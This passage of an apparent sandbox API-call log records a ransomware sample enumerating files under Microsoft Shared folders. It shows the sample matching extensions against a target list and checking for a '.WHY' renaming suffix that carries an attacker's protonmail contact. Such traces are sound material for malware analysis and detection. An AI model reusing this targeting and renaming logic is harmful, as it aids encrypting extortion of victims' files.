[0071.483] lstrlenW (lpString=".7z") returned 3 [0071.483] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0071.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0071.483] lstrlenW (lpString=".dbf") returned 4 [0071.483] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0071.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0071.483] lstrlenW (lpString=".1cd") returned 4 [0071.483] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0071.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0071.483] lstrlenW (lpString=".jpg") returned 4 [0071.483] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0071.535] lstrcmpiW (lpString1=".avi", lpString2=".WHY") returned -1 [0071.535] lstrlenW (lpString="boxed-join.avi") returned 14 [0071.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0072.532] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=33280) returned 1 [0072.532] CloseHandle (hObject=0x210) returned 1 [0072.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0072.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0072.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0072.533] lstrlenW (lpString=".doc") returned 4 [0072.533] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0072.533] lstrlenW (lpString=".docx") returned 5 [0072.534] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0072.534] lstrlenW (lpString=".pdf") returned 4 [0072.534] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0072.534] lstrlenW (lpString=".xls") returned 4 [0072.534] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0072.534] lstrlenW (lpString=".xlsx") returned 5 [0072.534] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0072.534] lstrlenW (lpString=".ppt") returned 4 [0072.534] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0072.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0072.534] lstrlenW (lpString=".zip") returned 4 [0072.534] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0072.535] lstrlenW (lpString=".rar") returned 4 [0072.535] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0072.535] lstrlenW (lpString=".bz2") returned 4 [0072.535] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0072.535] lstrlenW (lpString=".7z") returned 3 [0072.535] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0072.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0072.535] lstrlenW (lpString=".dbf") returned 4 [0072.535] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0072.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0072.535] lstrlenW (lpString=".1cd") returned 4 [0072.535] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0072.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0072.535] lstrlenW (lpString=".jpg") returned 4 [0072.535] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0072.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0072.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0072.536] lstrlenW (lpString=".doc") returned 4 [0072.536] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0072.536] lstrlenW (lpString=".docx") returned 5 [0072.536] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0072.536] lstrlenW (lpString=".pdf") returned 4 [0072.536] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0072.536] lstrlenW (lpString=".xls") returned 4 [0072.536] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0072.536] lstrlenW (lpString=".xlsx") returned 5 [0072.536] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0072.537] lstrlenW (lpString=".ppt") returned 4 [0072.537] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0072.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0072.537] lstrlenW (lpString=".zip") returned 4 [0072.537] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0072.537] lstrlenW (lpString=".rar") returned 4 [0072.537] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0072.537] lstrlenW (lpString=".bz2") returned 4 [0072.537] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0072.537] lstrlenW (lpString=".7z") returned 3 [0072.537] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0072.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0072.537] lstrlenW (lpString=".dbf") returned 4 [0072.538] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0072.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0072.538] lstrlenW (lpString=".1cd") returned 4 [0072.538] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0072.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0072.538] lstrlenW (lpString=".jpg") returned 4 [0072.538] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0072.538] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0072.539] lstrlenW (lpString="ea.xml") returned 6 [0072.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0072.833] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=384) returned 1 [0072.833] CloseHandle (hObject=0x1c8) returned 1 [0072.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0072.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0072.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0072.834] lstrlenW (lpString=".doc") returned 4 [0072.834] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.834] lstrlenW (lpString=".docx") returned 5 [0072.834] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0072.835] lstrlenW (lpString=".pdf") returned 4 [0072.835] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.835] lstrlenW (lpString=".xls") returned 4 [0072.835] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.835] lstrlenW (lpString=".xlsx") returned 5 [0072.835] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0072.835] lstrlenW (lpString=".ppt") returned 4 [0072.835] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0072.835] lstrlenW (lpString=".zip") returned 4 [0072.835] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.835] lstrlenW (lpString=".rar") returned 4 [0072.835] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.835] lstrlenW (lpString=".bz2") returned 4 [0072.835] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.836] lstrlenW (lpString=".7z") returned 3 [0072.836] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0072.836] lstrlenW (lpString=".dbf") returned 4 [0072.836] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0072.836] lstrlenW (lpString=".1cd") returned 4 [0072.836] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0072.836] lstrlenW (lpString=".jpg") returned 4 [0072.836] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0072.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0072.837] lstrlenW (lpString=".doc") returned 4 [0072.837] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.837] lstrlenW (lpString=".docx") returned 5 [0072.837] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0072.837] lstrlenW (lpString=".pdf") returned 4 [0072.837] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.837] lstrlenW (lpString=".xls") returned 4 [0072.837] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.837] lstrlenW (lpString=".xlsx") returned 5 [0072.837] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0072.837] lstrlenW (lpString=".ppt") returned 4 [0072.837] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0072.837] lstrlenW (lpString=".zip") returned 4 [0072.838] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.838] lstrlenW (lpString=".rar") returned 4 [0072.838] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.838] lstrlenW (lpString=".bz2") returned 4 [0072.838] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.838] lstrlenW (lpString=".7z") returned 3 [0072.838] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0072.838] lstrlenW (lpString=".dbf") returned 4 [0072.838] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0072.838] lstrlenW (lpString=".1cd") returned 4 [0072.838] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0072.839] lstrlenW (lpString=".jpg") returned 4 [0072.839] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.839] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0072.839] lstrlenW (lpString="base.xml") returned 8 [0072.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0072.876] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=3150) returned 1 [0072.876] CloseHandle (hObject=0x1c8) returned 1 [0072.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0072.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0072.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0072.877] lstrlenW (lpString=".doc") returned 4 [0072.877] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.877] lstrlenW (lpString=".docx") returned 5 [0072.877] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0072.877] lstrlenW (lpString=".pdf") returned 4 [0072.878] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.878] lstrlenW (lpString=".xls") returned 4 [0072.878] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.878] lstrlenW (lpString=".xlsx") returned 5 [0072.878] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0072.878] lstrlenW (lpString=".ppt") returned 4 [0072.878] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0072.878] lstrlenW (lpString=".zip") returned 4 [0072.878] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.878] lstrlenW (lpString=".rar") returned 4 [0072.878] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.878] lstrlenW (lpString=".bz2") returned 4 [0072.878] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.879] lstrlenW (lpString=".7z") returned 3 [0072.879] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0072.879] lstrlenW (lpString=".dbf") returned 4 [0072.879] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0072.879] lstrlenW (lpString=".1cd") returned 4 [0072.879] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0072.879] lstrlenW (lpString=".jpg") returned 4 [0072.879] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0072.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0072.880] lstrlenW (lpString=".doc") returned 4 [0072.880] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.880] lstrlenW (lpString=".docx") returned 5 [0072.880] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0072.880] lstrlenW (lpString=".pdf") returned 4 [0072.880] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.880] lstrlenW (lpString=".xls") returned 4 [0072.880] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.880] lstrlenW (lpString=".xlsx") returned 5 [0072.880] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0072.880] lstrlenW (lpString=".ppt") returned 4 [0072.880] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0072.881] lstrlenW (lpString=".zip") returned 4 [0072.881] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.881] lstrlenW (lpString=".rar") returned 4 [0072.881] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.881] lstrlenW (lpString=".bz2") returned 4 [0072.881] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.881] lstrlenW (lpString=".7z") returned 3 [0072.881] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0072.881] lstrlenW (lpString=".dbf") returned 4 [0072.881] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0072.882] lstrlenW (lpString=".1cd") returned 4 [0072.882] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0072.882] lstrlenW (lpString=".jpg") returned 4 [0072.882] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.882] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0072.882] lstrlenW (lpString="base_ca.xml") returned 11 [0072.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0072.883] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=3166) returned 1 [0072.883] CloseHandle (hObject=0x1c8) returned 1 [0072.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0072.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0072.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0072.884] lstrlenW (lpString=".doc") returned 4 [0072.884] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.884] lstrlenW (lpString=".docx") returned 5 [0072.884] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0072.885] lstrlenW (lpString=".pdf") returned 4 [0072.885] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.885] lstrlenW (lpString=".xls") returned 4 [0072.885] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.885] lstrlenW (lpString=".xlsx") returned 5 [0072.885] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0072.885] lstrlenW (lpString=".ppt") returned 4 [0072.885] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0072.885] lstrlenW (lpString=".zip") returned 4 [0072.885] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.885] lstrlenW (lpString=".rar") returned 4 [0072.885] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.885] lstrlenW (lpString=".bz2") returned 4 [0072.885] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.885] lstrlenW (lpString=".7z") returned 3 [0072.886] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0072.886] lstrlenW (lpString=".dbf") returned 4 [0072.886] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0072.886] lstrlenW (lpString=".1cd") returned 4 [0072.886] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0072.887] lstrlenW (lpString=".jpg") returned 4 [0072.887] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0072.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0072.887] lstrlenW (lpString=".doc") returned 4 [0072.887] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.887] lstrlenW (lpString=".docx") returned 5 [0072.887] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0072.887] lstrlenW (lpString=".pdf") returned 4 [0072.887] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.887] lstrlenW (lpString=".xls") returned 4 [0072.887] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.888] lstrlenW (lpString=".xlsx") returned 5 [0072.888] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0072.888] lstrlenW (lpString=".ppt") returned 4 [0072.888] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0072.888] lstrlenW (lpString=".zip") returned 4 [0072.888] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.888] lstrlenW (lpString=".rar") returned 4 [0072.888] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.888] lstrlenW (lpString=".bz2") returned 4 [0072.888] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.888] lstrlenW (lpString=".7z") returned 3 [0072.888] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0072.889] lstrlenW (lpString=".dbf") returned 4 [0072.889] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0072.889] lstrlenW (lpString=".1cd") returned 4 [0072.889] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0072.889] lstrlenW (lpString=".jpg") returned 4 [0072.889] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.890] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0072.890] lstrlenW (lpString="base_heb.xml") returned 12 [0072.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0072.892] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=738) returned 1 [0072.892] CloseHandle (hObject=0x1c8) returned 1 [0072.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0072.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.892] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), 